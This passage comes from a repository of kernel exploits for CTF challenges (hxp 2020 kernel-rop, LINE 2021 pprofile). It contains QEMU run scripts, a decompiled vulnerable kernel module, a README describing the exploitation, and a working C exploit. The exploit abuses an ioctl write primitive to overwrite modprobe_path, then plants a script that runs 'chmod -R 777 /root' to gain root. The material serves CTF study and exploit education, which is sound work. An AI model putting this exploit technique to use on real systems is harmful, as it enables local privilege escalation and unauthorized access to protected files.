pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gzip -d -k initramfs.cpio.gz 4 | mkdir initramfs 5 | cd initramfs 6 | cpio -i --no-absolute-filename < ../initramfs.cpio 7 | 8 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/flag.txt: -------------------------------------------------------------------------------- 1 | hxp{test} 2 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/hxp-2020-kernel-rop/initramfs.cpio.gz -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/run-nokaslr.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc ./exploit-no-kaslr.c -o exploit-no-kaslr -static -lpthread 4 | cp exploit-no-kaslr ./initramfs/exploit 5 | 6 | cd ./initramfs 7 | find . | cpio -o -H newc | gzip > ../initramfs.cpio.gz 8 | cd ../ 9 | 10 | qemu-system-x86_64 \ 11 | -m 128M \ 12 | -cpu kvm64,+smep,+smap \ 13 | -kernel vmlinuz \ 14 | -initrd initramfs.cpio.gz \ 15 | -hdb flag.txt \ 16 | -snapshot \ 17 | -nographic \ 18 | -monitor /dev/null \ 19 | -no-reboot \ 20 | -append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \ 21 | -s 22 | 23 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc -g -static ./exploit.c -o exploit -lpthread -no-pie 4 | cp exploit ./initramfs 5 | 6 | cd ./initramfs 7 | find . | cpio -o -H newc | gzip > ../initramfs.cpio.gz 8 | cd ../ 9 | 10 | qemu-system-x86_64 \ 11 | -m 128M \ 12 | -cpu kvm64,+smep,+smap \ 13 | -kernel vmlinuz \ 14 | -initrd initramfs.cpio.gz \ 15 | -hdb flag.txt \ 16 | -snapshot \ 17 | -nographic \ 18 | -monitor /dev/null \ 19 | -no-reboot \ 20 | -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \ 21 | -s 22 | 23 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/vmlinuz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/hxp-2020-kernel-rop/vmlinuz -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/.gitignore: -------------------------------------------------------------------------------- 1 | initramfs1.cpio.gz 2 | initramfs.cpio 3 | -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/README.md: -------------------------------------------------------------------------------- 1 | # Pprofile 2 | 3 | Original idea: https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6 4 | 5 | ## Run 6 | 7 | ``` 8 | $ ./extract.sh 9 | $ ./run.sh 10 | 11 | 12 | $ ./exploit 13 | ``` 14 | 15 | ## Reversing 16 | 17 | There is a kernel module that you can use through ioctl. After reversing the module 18 | we came up with the following structures: 19 | 20 | ```c 21 | struct string { 22 | char *str; 23 | struct len_pid *info; 24 | } 25 | 26 | struct len_pid { 27 | int64_t pad; // set always to 0 28 | int32_t pid; // the pid of the process that add the following structure 29 | int32_t len; // the length of str 30 | } 31 | 32 | struct string *storages[16]; // global 33 | ``` 34 | 35 | And in userspace we communicate with: 36 | 37 | ```c 38 | struct request_t { 39 | char *buffer; // this will be saved in string->str 40 | char *garbage; 41 | } 42 | ``` 43 | 44 | Commands: 45 | 46 | - ADD -> Add a `string` to storages 47 | - FREE -> Free a `string` from storages 48 | - READ -> The module with the READ operation will put inside the `request.garbage` address 8 bytes of 0, the pid value and the len value 49 | 50 | [Kernel module decompiled](./pprofile-reversed.c) 51 | 52 | ## Exploitation 53 | 54 | I tried at first some heap exploitation stuff but it didn't work. 55 | The easier thing to do is to use the READ operation to write inside the address of 56 | `modprobe_path` a different string (which is the name of the program to be executed 57 | when a binary format file is not recognized). To write the value you use 58 | the pid of the process. From my understanding this works because the module uses 59 | `copy_user_generic_unrolled` instead of `copy_to_user` to copy the value. 60 | 61 | I tried to set instead of `/tmp/a` `~/aa`, but `modprobe_path` doesn't seem to understand 62 | the `~` (in this way it could be possible to write two consecutive write without looping 63 | through all the possible pid three times) 64 | 65 | At the moment the exploit works without `KASLR`. 66 | -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/line-2021-pprofile/bzImage -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/exploit.c: -------------------------------------------------------------------------------- 1 | /** 2 | * author: @meowmeowxw 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define DEVICE_NAME "/dev/pprofile" 18 | #define READ 16 19 | #define ADD 32 20 | #define FREE 64 21 | 22 | typedef struct { 23 | char *buf; 24 | void *garbage; 25 | } request_t; 26 | 27 | const char cat[] = {0xf0, 0x9f, 0x90, 0x88, '\0'}; 28 | uint64_t modprobe_path = 0xffffffff82256f40; 29 | int fd; 30 | char *tmp_1 = "/t"; 31 | char *tmp_2 = "mp"; 32 | char *tmp_3 = "/a"; 33 | 34 | void write_in_address(uint64_t address, int32_t value, char *buf); 35 | 36 | int main(int argc, char **argv) { 37 | int i; 38 | fd = open(DEVICE_NAME, O_RDONLY); 39 | printf("fd: %d\n", fd); 40 | 41 | system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/bho"); 42 | system("chmod +x /tmp/bho"); 43 | system("echo -ne '#!/bin/sh\nchmod -R 777 /root' > /tmp/a\n"); 44 | system("chmod +x /tmp/a"); 45 | 46 | // for the first 8 bytes the module does put_user(0, address); 47 | write_in_address(modprobe_path - 8, *(int16_t *)tmp_1, "meowmeowxw"); 48 | write_in_address(modprobe_path + 2 - 8, *(int16_t *)tmp_2, "eheheheheh"); 49 | write_in_address(modprobe_path + 4 - 8, *(int16_t *)tmp_3, "ohohohohoh"); 50 | 51 | printf("[#] read flag: "); 52 | for (i = 0; i < 10; i++) { 53 | printf("%s ", cat); 54 | } 55 | printf("\n"); 56 | 57 | system("/tmp/bho"); 58 | system("cat /root/flag"); 59 | 60 | return 0; 61 | } 62 | 63 | void write_in_address(uint64_t address, int32_t value, char *buf) { 64 | int ret; 65 | pid_t pid, current; 66 | request_t req; 67 | while(1) { 68 | pid = fork(); 69 | switch(pid) { 70 | case -1: 71 | perror("fork\n"); 72 | exit(-1); 73 | case 0: 74 | current = getpid(); 75 | if (current != value) { 76 | exit(0); 77 | } 78 | printf("current: %d\tvalue: %d\n", current, value); 79 | printf("[*] let's write in 0x%016lx: %x\n", address + 8, value); 80 | req.buf = calloc(8, 1); 81 | strncpy(req.buf, buf, 8); 82 | req.garbage = (void *)address; 83 | ret = ioctl(fd, ADD, &req); 84 | ret = ioctl(fd, READ, &req); 85 | exit(0); 86 | break; 87 | default: 88 | waitpid(pid, 0, 0); 89 | if (pid == value) { 90 | printf("[!] done writing\n\n"); 91 | return; 92 | } 93 | } 94 | } 95 | return; 96 | } 97 | 98 | -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/extract-linux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gzip -d -k initramfs.cpio.gz 4 | mkdir initramfs 5 | cd initramfs 6 | cpio -i --file ../initramfs.cpio 7 | 8 | -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/line-2021-pprofile/initramfs.cpio.gz -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/pprofile-reversed.c: -------------------------------------------------------------------------------- 1 | struct string { 2 | char *str; 3 | struct len_pid *info; 4 | } 5 | 6 | struct len_pid { 7 | int64_t pad; // set always to 0 8 | int32_t pid; // the pid of the process that add the following structure 9 | int32_t len; // the length of str 10 | } 11 | 12 | struct string *storages[16]; // global 13 | 14 | __int64 __fastcall put_user_size(__int64 a1, __int64 a2) 15 | { 16 | int v3; // [rsp+0h] [rbp-Ch] BYREF 17 | unsigned __int64 v4; // [rsp+4h] [rbp-8h] 18 | 19 | _fentry__(a1, a2); 20 | v3 = a1; 21 | v4 = __readgsqword(0x28u); 22 | return copy_user_generic_unrolled(a2, &v3); 23 | } 24 | 25 | __int64 __fastcall pprofile_ioctl(__int64 a1, __int64 a2) 26 | { 27 | __int64 v2; // rdx 28 | __int64 result; // rax 29 | struct string **storages__; // rbx 30 | struct string *found_string_ptr_; // rbp 31 | __int64 v6; // rbx 32 | struct pid_len *found_info; // rax 33 | unsigned int found_pid; // ebp 34 | unsigned int found_size_str; // er12 35 | int len_copied; // eax 36 | int len_copied_; // ebx 37 | __int64 index_storage__; // rax 38 | __int64 index_storage___; // r12 39 | struct string **current_string__; // rbp 40 | size_t len_str; // rbp 41 | unsigned int len_str_plus_1; // er13 42 | _DWORD *str_ptr; // r15 43 | string *string_ptr; // r14 44 | struct pid_len *leak_ptr_current_task; // rcx 45 | unsigned __int64 current_task_; // rdi 46 | int len_copied__; // eax 47 | __int64 index_storage____; // rbp 48 | struct string *current_string; // r12 49 | __int64 current_string_ptr_str; // r13 50 | unsigned int index_zeroize_; // eax 51 | __int64 index_zeroize; // rdx 52 | struct pid_len *leak_ptr_current_task_; // [rsp+0h] [rbp-60h] 53 | __int64 local_buffer; // [rsp+8h] [rbp-58h] BYREF 54 | __int64 v29; // [rsp+10h] [rbp-50h] 55 | char str_copied[8]; // [rsp+1Fh] [rbp-41h] BYREF 56 | char v31; // [rsp+27h] [rbp-39h] 57 | unsigned __int64 v32; // [rsp+28h] [rbp-38h] 58 | 59 | _fentry__(a1, a2); 60 | *(_QWORD *)str_copied = 0LL; 61 | v31 = 0; 62 | v32 = __readgsqword(0x28u); 63 | local_buffer = 0LL; 64 | v29 = 0LL; 65 | LODWORD(result) = copy_from_user(&local_buffer, v2, 16LL); 66 | if ( (_DWORD)result ) 67 | return (int)result; 68 | if ( (_DWORD)a2 == 32 ) 69 | { 70 | len_copied = strncpy_from_user(str_copied, local_buffer, 8LL); 71 | len_copied_ = len_copied; 72 | if ( len_copied && len_copied != 9 ) 73 | { 74 | if ( len_copied >= 0 ) 75 | { 76 | index_storage__ = 0LL; 77 | while ( 1 ) 78 | { 79 | index_storage___ = (int)index_storage__; 80 | if ( !storages[index_storage__] ) 81 | break; 82 | if ( ++index_storage__ == 16 ) 83 | return -11LL; 84 | } 85 | current_string__ = storages; 86 | while ( !*current_string__ || strcmp((const char *)(*current_string__)->str, str_copied) ) 87 | { 88 | if ( &storages[16] == ++current_string__ ) 89 | { 90 | len_str = strlen(str_copied); 91 | if ( len_str - 1 > 7 ) 92 | return -11LL; 93 | len_str_plus_1 = len_str + 1; 94 | str_ptr = (_DWORD *)_kmalloc(len_str + 1, 6291648LL); 95 | string_ptr = (string *)kmem_cache_alloc_trace(kmalloc_caches[4], 6291648LL, 16LL); 96 | leak_ptr_current_task = (struct pid_len *)kmem_cache_alloc_trace(kmalloc_caches[4], 6291648LL, 16LL); 97 | if ( string_ptr == 0LL || str_ptr == 0LL || !leak_ptr_current_task ) 98 | return -12LL; // 99 | // Zeroize the str_ptr (kmalloc) in 4 different way xD, at least 100 | // from my understanding lol eheh 101 | // ... they don't know about kzalloc or memset X'D 102 | if ( len_str_plus_1 >= 8 ) 103 | { 104 | *(_QWORD *)((char *)str_ptr + len_str_plus_1 - 8) = 0LL; 105 | if ( (unsigned int)len_str >= 8 ) 106 | { 107 | index_zeroize_ = 0; 108 | do 109 | { 110 | index_zeroize = index_zeroize_; 111 | index_zeroize_ += 8; 112 | *(_QWORD *)((char *)str_ptr + index_zeroize) = 0LL; 113 | } 114 | while ( index_zeroize_ < (len_str & 0xFFFFFFF8) ); 115 | } 116 | } 117 | else if ( (len_str_plus_1 & 4) != 0 ) 118 | { 119 | *str_ptr = 0; 120 | *(_DWORD *)((char *)str_ptr + len_str_plus_1 - 4) = 0; 121 | } 122 | else if ( (_DWORD)len_str != -1 ) 123 | { 124 | *(_BYTE *)str_ptr = 0; 125 | if ( (len_str_plus_1 & 2) != 0 ) 126 | *(_WORD *)((char *)str_ptr + len_str_plus_1 - 2) = 0; 127 | } 128 | leak_ptr_current_task->pad = 0LL; 129 | *(_QWORD *)&leak_ptr_current_task->pid = 0LL; 130 | string_ptr->str = 0LL; 131 | string_ptr->info = 0LL; 132 | leak_ptr_current_task_ = leak_ptr_current_task; 133 | memcpy(str_ptr, str_copied, len_str); 134 | string_ptr->str = (__int64)str_ptr; 135 | current_task_ = __readgsqword((unsigned int)¤t_task); 136 | string_ptr->info = leak_ptr_current_task_; 137 | leak_ptr_current_task_->pid = _task_pid_nr_ns(current_task_, 1LL, 0LL); 138 | *((_DWORD *)string_ptr->info + 3) = len_copied_; 139 | storages[index_storage___] = string_ptr; 140 | return len_copied_; 141 | } 142 | } 143 | return -11LL; 144 | } 145 | return len_copied_; 146 | } 147 | return -34LL; 148 | } 149 | if ( (_DWORD)a2 == 64 ) 150 | { 151 | len_copied__ = strncpy_from_user(str_copied, local_buffer, 8LL); 152 | len_copied_ = len_copied__; 153 | if ( len_copied__ && len_copied__ != 9 ) 154 | { 155 | if ( len_copied__ >= 0 ) 156 | { 157 | index_storage____ = 0LL; 158 | while ( 1 ) 159 | { 160 | current_string = storages[index_storage____]; 161 | if ( current_string ) 162 | { 163 | current_string_ptr_str = current_string->str; 164 | if ( !strcmp((const char *)current_string->str, str_copied) ) 165 | break; 166 | } 167 | if ( ++index_storage____ == 16 ) 168 | return -11LL; 169 | } // current_string->str 170 | kfree(current_string_ptr_str); 171 | kfree(current_string->info); 172 | current_string->str = 0LL; 173 | current_string->info = 0LL; 174 | kfree(current_string); 175 | storages[(int)index_storage____] = 0LL; 176 | } 177 | return len_copied_; 178 | } 179 | return -34LL; 180 | } 181 | if ( (_DWORD)a2 != 16 ) 182 | return -11LL; 183 | LODWORD(result) = strncpy_from_user(str_copied, local_buffer, 8LL); 184 | if ( !(_DWORD)result || (_DWORD)result == 9 ) 185 | return -34LL; 186 | if ( (int)result < 0 ) 187 | return (int)result; 188 | storages__ = storages; 189 | while ( 1 ) 190 | { 191 | found_string_ptr_ = *storages__; 192 | if ( *storages__ ) 193 | { 194 | if ( !strcmp((const char *)found_string_ptr_->str, str_copied) ) 195 | break; 196 | } 197 | if ( ++storages__ == &storages[16] ) 198 | return -11LL; 199 | } 200 | v6 = v29; 201 | found_info = (struct pid_len *)found_string_ptr_->info; 202 | found_pid = found_info->pid; 203 | found_size_str = *(_DWORD *)&found_info->size_str; 204 | LODWORD(result) = ((__int64 (__fastcall *)(__int64, __int64, __int32))put_user_size)(0LL, v29, 4); 205 | if ( (_DWORD)result ) 206 | return (int)result; 207 | LODWORD(result) = put_user_size(found_pid, v6 + 8); 208 | if ( (_DWORD)result ) 209 | return (int)result; 210 | return (int)put_user_size(found_size_str, v6 + 12); 211 | } 212 | -------------------------------------------------------------------------------- /ctf/line-2021-pprofile/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc exploit.c -o initramfs/exploit -static -lpthread 4 | 5 | cd ./initramfs 6 | find . | cpio -H newc -o | gzip > ../initramfs1.cpio.gz 7 | cd ../ 8 | 9 | qemu-system-x86_64 -cpu kvm64,+smep,+smap \ 10 | -m 128M \ 11 | -kernel ./bzImage \ 12 | -initrd ./initramfs1.cpio.gz \ 13 | -nographic \ 14 | -monitor /dev/null \ 15 | -no-reboot \ 16 | -append "root=/dev/ram rw rdinit=/root/init console=ttyS0 loglevel=3 oops=panic nokaslr panic=1" \ 17 | -s 18 | --------------------------------------------------------------------------------